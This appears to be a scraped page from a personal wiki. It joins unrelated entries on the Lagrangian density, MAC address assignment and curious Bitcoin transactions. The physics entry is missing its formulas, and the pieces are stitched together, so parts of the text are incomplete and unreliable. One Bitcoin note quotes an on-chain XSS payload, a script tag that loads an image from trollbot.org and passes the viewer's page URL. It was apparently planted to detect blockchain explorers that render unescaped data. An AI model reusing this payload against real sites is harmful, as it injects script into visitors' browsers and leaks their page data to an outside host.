In the case of field however, we can expand the Lagrangian out further, to also integrate over the space coordinates and their derivatives.
Since we are now working with something that gets integrated over space to obtain the total action, much like density would be integrated over space to obtain a total mass, the name "Lagrangian density" is fitting.
Of course, if we were to write it like that all the time we would go mad, so we can just write a much more condensed vectorized version using the gradient with :
And in the context of special relativity, people condense that even further by adding to the spacetime Four-vector as well, so you don't even need to write that separate pesky .
The main point of talking about the Lagrangian density instead of a Lagrangian for fields is likely that it treats space and time in a more uniform way, which is a basic requirement of special relativity: we have to be able to mix them up somehow to do Lorentz transformations. Notably, this is a key ingredient in a/the formulation of quantum field theory.
Hardcoded and unique network addresses for every single device on Earth.
Started with 48 bits (6 bytes), usually given as 01:23:45:67:89:AB but people now encouraged to use 64-bit ones.
How they are assigned: www.quora.com/How-are-MAC-addresses-assigned Basically IEEE gives out the 3 first bytes to device manufacturers that register, this is called the organizationally unique identifier, and then each manufacturer keeps their own devices unique.
Cool data embedded in the Bitcoin blockchain Quotes and threes by 
Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes TODO what is up with that?
" and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:but we haven't had the patience to index them properly yet. Boring art anyways.
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2 5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3 by Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:and for the second smaller one:the third one being an OP_RETURN message.
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0This event received some coverage:
a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 by Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and
OP_FROMALTSTACK, thus making it spendable:OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP There are unlisted articles, also show them or only show them.